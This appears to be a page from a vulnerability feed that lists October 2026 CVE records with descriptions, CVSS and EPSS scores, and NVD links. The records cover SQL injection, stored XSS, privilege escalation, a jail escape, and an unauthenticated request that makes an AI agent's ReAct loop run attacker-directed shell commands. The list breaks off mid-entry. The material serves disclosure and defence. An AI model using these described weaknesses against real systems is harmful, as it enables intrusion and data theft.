Cognition before 0.13.0 contains an unauthenticated remote code execution vulnerability due to defaulting its agent sandbox backend to local execution and shipping no authentication on its REST/SSE API. Attackers can create a session via POST /sessions and post a message via POST /sessions/{id}/messages without credentials, causing the Deep Agents ReAct loop to run attacker-directed shell commands through the local shell backend, resulting in remote code execution as the server process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Slims (Senayan Library Management Systems) 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opac_hide and promoted GET parameters of...
https://kevwire.com/record/CVE-2026-107082
Slims (Senayan Library Management Systems) 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opac_hide and promoted GET parameters of... (Oct 19, 2026).
Slims (Senayan Library Management Systems) 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opac_hide and promoted GET parameters of admin/modules/bibliography/index.php, because escape_string() is applied but the values are concatenated into an unquoted numeric SQL context, leading to error-based information disclosure and arbitrary data extraction.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107082).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107082&date=2026-10-25).
Sources:
NVD CVE-2026-107082: https://nvd.nist.gov/vuln/detail/CVE-2026-107082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107082&date=2026-10-25
Slims (Senayan Library Management Systems) 9 Bulian 9.8.0 allows an authenticated staff user to perform SQL injection via the opac_hide and promoted GET parameters of admin/modules/bibliography/index.php, because escape_string() is applied but the values are concatenated into an unquoted numeric SQL context, leading to error-based information disclosure and arbitrary data extraction.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Kubernetes tenant with create permission on Console custom resources can set spec.containers.api.spec.image to an arbitrary container image.
https://kevwire.com/record/CVE-2026-105312
A Kubernetes tenant with create permission on Console custom resources can set spec.containers.api.spec.image to an arbitrary container image. (Oct 20, 2026).
A Kubernetes tenant with create permission on Console custom resources can set spec.containers.api.spec.image to an arbitrary container image. The operator deploys this image into a pod whose ServiceAccount is bound via ClusterRoleBinding to a ClusterRole granting cluster-wide get/list/watch on all Strimzi CRDs (including KafkaUsers), patch on Kafkas/KafkaRebalances, and cluster-monitoring-view. The attacker's code reads the projected SA token and gains cross-tenant Strimzi control-plane read+write access.
CVSS 9.9 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105312).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105312&date=2026-10-25).
Sources:
NVD CVE-2026-105312: https://nvd.nist.gov/vuln/detail/CVE-2026-105312
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105312&date=2026-10-25
A Kubernetes tenant with create permission on Console custom resources can set spec.containers.api.spec.image to an arbitrary container image. The operator deploys this image into a pod whose ServiceAccount is bound via ClusterRoleBinding to a ClusterRole granting cluster-wide get/list/watch on all Strimzi CRDs (including KafkaUsers), patch on Kafkas/KafkaRebalances, and cluster-monitoring-view. The attacker's code reads the projected SA token and gains cross-tenant Strimzi control-plane read+write access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Shopware version 6.7 allows the upload of attacker‑controlled HTML files and serves them as text/html without effective security headers, enabling stored cross-site scripting...
https://kevwire.com/record/CVE-2026-104937
Shopware version 6.7 allows the upload of attacker‑controlled HTML files and serves them as text/html without effective security headers, enabling stored cross-site scripting... (Oct 13, 2026).
Shopware version 6.7 allows the upload of attacker‑controlled HTML files and serves them as text/html without effective security headers, enabling stored cross-site scripting (XSS). When a malicious uploaded file containing an embedded JavaScript payload is viewed by an administrator, the attacker can access and exfiltrate the administrator's authentication token.

The compromised token enables unauthorized access to the Shopware Administration API. If the affected administrator account possesses extension‑management privileges, an attacker can upload, install, and activate malicious plugins to achieve arbitrary PHP code execution on the underlying OS with the privileges of the Shopware process.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104937).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104937&date=2026-10-25).
Sources:
NVD CVE-2026-104937: https://nvd.nist.gov/vuln/detail/CVE-2026-104937
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104937&date=2026-10-25
Shopware version 6.7 allows the upload of attacker‑controlled HTML files and serves them as text/html without effective security headers, enabling stored cross-site scripting (XSS). When a malicious uploaded file containing an embedded JavaScript payload is viewed by an administrator, the attacker can access and exfiltrate the administrator's authentication token.

The compromised token enables unauthorized access to the Shopware Administration API. If the affected administrator account possesses extension‑management privileges, an attacker can upload, install, and activate malicious plugins to achieve arbitrary PHP code execution on the underlying OS with the privileges of the Shopware process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When fdescfs(4) was mounted in a jail with the "nodup" option, opening /dev/fd/N returned a descriptor that did not inherit FD_RESOLVE_BENEATH or the Capsicum capability rights of...
https://kevwire.com/record/CVE-2026-101304
When fdescfs(4) was mounted in a jail with the "nodup" option, opening /dev/fd/N returned a descriptor that did not inherit FD_RESOLVE_BENEATH or the Capsicum capability rights of... (Oct 15, 2026).
When fdescfs(4) was mounted in a jail with the "nodup" option, opening /dev/fd/N returned a descriptor that did not inherit FD_RESOLVE_BENEATH or the Capsicum capability rights of descriptor N.

A process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.
CVSS 7.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101304).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101304&date=2026-10-25).
Sources:
NVD CVE-2026-101304: https://nvd.nist.gov/vuln/detail/CVE-2026-101304
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:66.jail.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101304&date=2026-10-25
When fdescfs(4) was mounted in a jail with the "nodup" option, opening /dev/fd/N returned a descriptor that did not inherit FD_RESOLVE_BENEATH or the Capsicum capability rights of descriptor N.

A process in a jail that has received a directory file descriptor from another jail can use these techniques to escape the jail's filesystem root restriction.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102196
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102196).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102196&date=2026-10-25).
Sources:
NVD CVE-2026-102196: https://nvd.nist.gov/vuln/detail/CVE-2026-102196
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102196
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102196&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102197
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102197).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102197&date=2026-10-25).
Sources:
NVD CVE-2026-102197: https://nvd.nist.gov/vuln/detail/CVE-2026-102197
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102197
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102197&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-88164
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 14, 2026).
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88164).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88164&date=2026-10-25).
Sources:
NVD CVE-2026-88164: https://nvd.nist.gov/vuln/detail/CVE-2026-88164
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88164
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88164&date=2026-10-25
Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dell Application Store, versions prior to 26.05.0.7, contains an Uncontrolled Path Element vulnerability.
https://kevwire.com/record/CVE-2026-71170
Dell Application Store, versions prior to 26.05.0.7, contains an Uncontrolled Path Element vulnerability. (Oct 19, 2026).
Dell Application Store, versions prior to 26.05.0.7, contains an Uncontrolled Path Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to an Elevation of Privilege and arbitrary code execution.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71170).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71170&date=2026-10-25).
Sources:
NVD CVE-2026-71170: https://nvd.nist.gov/vuln/detail/CVE-2026-71170
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71170&date=2026-10-25
Dell Application Store, versions prior to 26.05.0.7, contains an Uncontrolled Path Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to an Elevation of Privilege and arbitrary code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), Missing Authentication for Critical Function vulnerability in Apache Kylin.
https://kevwire.com/record/CVE-2026-64959
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), Missing Authentication for Critical Function vulnerability in Apache Kylin. (Oct 16, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), Missing Authentication for Critical Function vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 5 through 5.0.4. Certain backend cache API misses required authentication and can cause execution of injected SQL.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-64959).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-64959&date=2026-10-25).
Sources:
NVD CVE-2026-64959: https://nvd.nist.gov/vuln/detail/CVE-2026-64959
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-64959&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), Missing Authentication for Critical Function vulnerability in Apache Kylin. Impact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.



This issue affects Apache Kylin: from 5 through 5.0.4. Certain backend cache API misses required authentication and can cause execution of injected SQL.



Users are recommended to upgrade to version 5.0.5, which fixes the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav from 2.0.0 before 2.2.2 contains an information disclosure vulnerability that allows page editors to read protected configuration by adding config-*@ directives to page...
https://kevwire.com/record/CVE-2026-112781
Grav from 2.0.0 before 2.2.2 contains an information disclosure vulnerability that allows page editors to read protected configuration by adding config-*@ directives to page... (Oct 19, 2026).
Grav from 2.0.0 before 2.2.2 contains an information disclosure vulnerability that allows page editors to read protected configuration by adding config-*@ directives to page frontmatter forms. Attackers with page-edit permission can bypass the Twig sandbox config_denied_paths redaction to expose security.salt, plugin credentials, and Redis passwords to all visitors.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112781).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112781&date=2026-10-25).
Sources:
NVD CVE-2026-112781: https://nvd.nist.gov/vuln/detail/CVE-2026-112781
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112781&date=2026-10-25
Grav from 2.0.0 before 2.2.2 contains an information disclosure vulnerability that allows page editors to read protected configuration by adding config-*@ directives to page frontmatter forms. Attackers with page-edit permission can bypass the Twig sandbox config_denied_paths redaction to expose security.salt, plugin credentials, and Redis passwords to all visitors.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS from 5.0.0 before 5.11.0 contains an authorization bypass vulnerability that allows site-scoped GraphQL tokens to mutate other sites' content because...
https://kevwire.com/record/CVE-2026-112776
Craft CMS from 5.0.0 before 5.11.0 contains an authorization bypass vulnerability that allows site-scoped GraphQL tokens to mutate other sites' content because... (Oct 19, 2026).
Craft CMS from 5.0.0 before 5.11.0 contains an authorization bypass vulnerability that allows site-scoped GraphQL tokens to mutate other sites' content because requireAllowedSite() is not enforced. Attackers holding a site-A token can create entries in site B via supplied siteId and delete entries, categories, tags, and assets shared across sites.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112776).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112776&date=2026-10-25).
Sources:
NVD CVE-2026-112776: https://nvd.nist.gov/vuln/detail/CVE-2026-112776
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112776&date=2026-10-25
Craft CMS from 5.0.0 before 5.11.0 contains an authorization bypass vulnerability that allows site-scoped GraphQL tokens to mutate other sites' content because requireAllowedSite() is not enforced. Attackers holding a site-A token can create entries in site B via supplied siteId and delete entries, categories, tags, and assets shared across sites.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters...
https://kevwire.com/record/CVE-2026-112771
Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters... (Oct 19, 2026).
Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters resolve caller-supplied keys via ArrayHelper::getValue() without consulting the sandbox security policy. Authenticated Control Panel users can supply dot-path keys to traverse the craft global and disclose the securityKey, database credentials, and auth tokens.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112771).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112771&date=2026-10-25).
Sources:
NVD CVE-2026-112771: https://nvd.nist.gov/vuln/detail/CVE-2026-112771
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112771&date=2026-10-25
Craft CMS 4.0.0 before 4.18.8 and 5.0.0 before 5.11.0 contains a Twig sandbox allowlist bypass because the column, contains, filterByValue, index, where, and multisort filters resolve caller-supplied keys via ArrayHelper::getValue() without consulting the sandbox security policy. Authenticated Control Panel users can supply dot-path keys to traverse the craft global and disclose the securityKey, database credentials, and auth tokens.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vanus 0.8.0 through 0.9.0 contains a missing authentication vulnerability that allows unauthenticated remote attackers to publish events to any eventbus through the gateway...
https://kevwire.com/record/CVE-2026-111999
Vanus 0.8.0 through 0.9.0 contains a missing authentication vulnerability that allows unauthenticated remote attackers to publish events to any eventbus through the gateway... (Oct 18, 2026).
Vanus 0.8.0 through 0.9.0 contains a missing authentication vulnerability that allows unauthenticated remote attackers to publish events to any eventbus through the gateway CloudEvents HTTP receiver. Attackers can send forged CloudEvents to the /namespaces/{ns}/eventbus/{name}/events or legacy /gateway/{name} paths, bypassing token authentication and authPublish checks, so they are stored and delivered to subscription sinks.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111999).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111999&date=2026-10-25).
Sources:
NVD CVE-2026-111999: https://nvd.nist.gov/vuln/detail/CVE-2026-111999
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111999&date=2026-10-25
Vanus 0.8.0 through 0.9.0 contains a missing authentication vulnerability that allows unauthenticated remote attackers to publish events to any eventbus through the gateway CloudEvents HTTP receiver. Attackers can send forged CloudEvents to the /namespaces/{ns}/eventbus/{name}/events or legacy /gateway/{name} paths, bypassing token authentication and authPublish checks, so they are stored and delivered to subscription sinks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LingGuo-Drama through commit 8a6924a contains a missing authorization vulnerability that allows any registered user to manage all accounts through the /admin/v1/admins API...
https://kevwire.com/record/CVE-2026-111723
LingGuo-Drama through commit 8a6924a contains a missing authorization vulnerability that allows any registered user to manage all accounts through the /admin/v1/admins API... (Oct 16, 2026).
LingGuo-Drama through commit 8a6924a contains a missing authorization vulnerability that allows any registered user to manage all accounts through the /admin/v1/admins API protected only by AuthAdminJWT. Attackers can self-register, read every account's bcrypt hash, reset the bootstrap administrator's password via PUT, raise their authority_id, and delete accounts.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111723).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111723&date=2026-10-25).
Sources:
NVD CVE-2026-111723: https://nvd.nist.gov/vuln/detail/CVE-2026-111723
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111723&date=2026-10-25
LingGuo-Drama through commit 8a6924a contains a missing authorization vulnerability that allows any registered user to manage all accounts through the /admin/v1/admins API protected only by AuthAdminJWT. Attackers can self-register, read every account's bcrypt hash, reset the bootstrap administrator's password via PUT, raise their authority_id, and delete accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect authorization in the Arm Cortex-R82 (Armv8-R AArch64) MPU port in FreeRTOS-Kernel V11.3.0 and V11.3.1 might allow an unprivileged task on MPU-enabled builds to read and...
https://kevwire.com/record/CVE-2026-109587
Incorrect authorization in the Arm Cortex-R82 (Armv8-R AArch64) MPU port in FreeRTOS-Kernel V11.3.0 and V11.3.1 might allow an unprivileged task on MPU-enabled builds to read and... (Oct 16, 2026).
Incorrect authorization in the Arm Cortex-R82 (Armv8-R AArch64) MPU port in FreeRTOS-Kernel V11.3.0 and V11.3.1 might allow an unprivileged task on MPU-enabled builds to read and write privileged kernel memory outside the regions assigned to it, via a buffer argument passed to an MPU system call.



To remediate this issue, users should upgrade to version V11.3.2 or later.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109587).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109587&date=2026-10-25).
Sources:
NVD CVE-2026-109587: https://nvd.nist.gov/vuln/detail/CVE-2026-109587
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109587&date=2026-10-25
Incorrect authorization in the Arm Cortex-R82 (Armv8-R AArch64) MPU port in FreeRTOS-Kernel V11.3.0 and V11.3.1 might allow an unprivileged task on MPU-enabled builds to read and write privileged kernel memory outside the regions assigned to it, via a buffer argument passed to an MPU system call.



To remediate this issue, users should upgrade to version V11.3.2 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-100200
Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100200).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100200&date=2026-10-25).
Sources:
NVD CVE-2026-100200: https://nvd.nist.gov/vuln/detail/CVE-2026-100200
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100200
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100200&date=2026-10-25
Use after free in Windows Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Client License Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-100201
Heap-based buffer overflow in Windows Client License Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Client License Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100201).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100201&date=2026-10-25).
Sources:
NVD CVE-2026-100201: https://nvd.nist.gov/vuln/detail/CVE-2026-100201
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100201
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100201&date=2026-10-25
Heap-based buffer overflow in Windows Client License Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-100202
Use after free in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100202).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100202&date=2026-10-25).
Sources:
NVD CVE-2026-100202: https://nvd.nist.gov/vuln/detail/CVE-2026-100202
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-100202
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100202&date=2026-10-25
Use after free in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-100203
Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Update Service allows an authorized attacker to elevate privileges locally.
